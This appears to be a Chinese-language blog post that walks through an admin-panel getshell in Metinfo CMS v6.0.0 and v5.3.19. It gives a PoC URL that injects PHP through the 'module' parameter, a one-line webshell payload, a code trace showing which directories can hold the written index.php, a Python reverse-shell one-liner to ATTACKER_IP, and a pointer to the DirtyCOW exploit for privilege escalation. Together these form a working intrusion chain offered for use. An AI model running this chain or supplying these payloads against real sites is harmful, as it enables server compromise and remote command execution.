Metinfo v6.0.0 后台getshell

这个漏洞在v5.3.19同样存在,不过前提是需要后台管理员的权限。但是如果是在v5.3.19,可以结合之前的管理员任意密码重置漏洞getshell。
Metinfo v5.3.19:
如文章中所说,这里的poc是:

http://localhost/admin/column/save.php?
name=123
&action=editor
&foldername=upload
&module=22;phpinfo();/*

其中action=editor是必须的,其中foldername=upload是要写入webshell的目录,其中phpinfo();是执行的php代码。这里可以换成我们的一句话webshell。

@system($_GET[cmd]);

注意webshell最终是以index.php的形式存在的。
这里有一个问题,如果之前已经在某目录下,写入了index.php文件,根据metinfo v5.3.19中admin/include/global.func.php,是无法再写入的。可以看出只有在$newindx即将要生成的index.php不存在的情况下,才会执行文件写入的逻辑。
在这里插入图片描述
不过如果一不小心写入了作者说的upload/index.php文件也没关系,可以再找web根目录下其他目录,只要该目录下没有index.php即可。比如cache,app,template等。

参考:https://www.kingkk.com/2018/06/Metinfo-v6-0-0-getshell-in-background/

代码追踪

admin/column/save.php

在这里插入图片描述
在L32调用了column_copyconfig($foldername,$module,$id);

require_once '../login/login_check.php';
require_once 'global.func.php';
if($action=="editor"){
	if($name=='')metsave('-1',$lang_js11);
	if($if_in==1 and $out_url=='' and $module<1000)metsave('-1',$lang_modOuturl);
	if($module==1 &&$isshow==0 && !($met_class2[$id]||$met_class3[$id]))metsave('-1',$lang_columnerr8);
	$filename=namefilter($filename);
	$filenameold=namefilter($filenameold);
	$indeximg =$metadmin[categorymarkimage]?$indeximg:'';
	$columnimg=$metadmin[categoryimage]?$columnimg:'';
	if($new_windows==0){
		$new_windows=null;
	}
	if($new_windows==1){
		$new_windows="target=''_blank''";
	}
	if($if_in==0){
		if($filename!='' && $filename!=$filenameold){
			$filenameok = $db->get_one("SELECT * FROM {$met_column} WHERE filename='{$filename}' and folFdername='$foldername' and id!='$id'");
			if($filenameok)metsave('-1',$lang_modFilenameok);
			if(is_numeric($filename) && $filename!=$id && $met_pseudo){
				$filenameok1 = $db->get_one("SELECT * FROM {$met_column} WHERE id='{$filename}' and foldername='$foldername'");
				if($filenameok1)metsave('-1',$lang_jsx30);
			}
		}
		$filedir="../../".$foldername;  
		if(!file_exists($filedir))@mkdir($filedir,0777); 		
		if(!file_exists($filedir))metsave('-1',$lang_modFiledir);
		column_copyconfig($foldername,$module,$id);

column_copyconfigadmin/column/global.func.php

admin/column/global.func.php

在这里插入图片描述
在L124调用了Copyindx(ROOTPATH.$foldername.'/index.php',$module);

function column_copyconfig($foldername,$module,$id){
	global $anyid,$lang_columntip13,$lang,$db,$met_column;
    #省略无关的switch
	Copyindx(ROOTPATH.$foldername.'/index.php',$module);
}

admin/include/global.func.php

L876~889

/*复制首页*/
function Copyindx($newindx,$type){
    if(!file_exists($newindx)){
        if($type==3){
            //生成产品栏目index
            $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\n\$cmodule='product_index';\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";
        }else{
            $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";
        }
        $fp = fopen($newindx,w);
        fputs($fp, $oldcont);
        fclose($fp);
    }
}

webshel反弹shell

如果webshell有些带有空格或者特殊字符的命令无法执行,不要硬撑,
先使用python的反弹shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

然后将payload使用burp的decoder功能,将命令url编码一下就可以了。
在这里插入图片描述

提权

使用dirtydow(Linux Kernel 2.6.22 < 3.9 (x86/x64) ):
https://www.exploit-db.com/exploits/40616/
注意可能跟机器的性能有关,可能会导致死机关机。

参考

某CMS 5.X版本GETSHELL漏洞合集

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值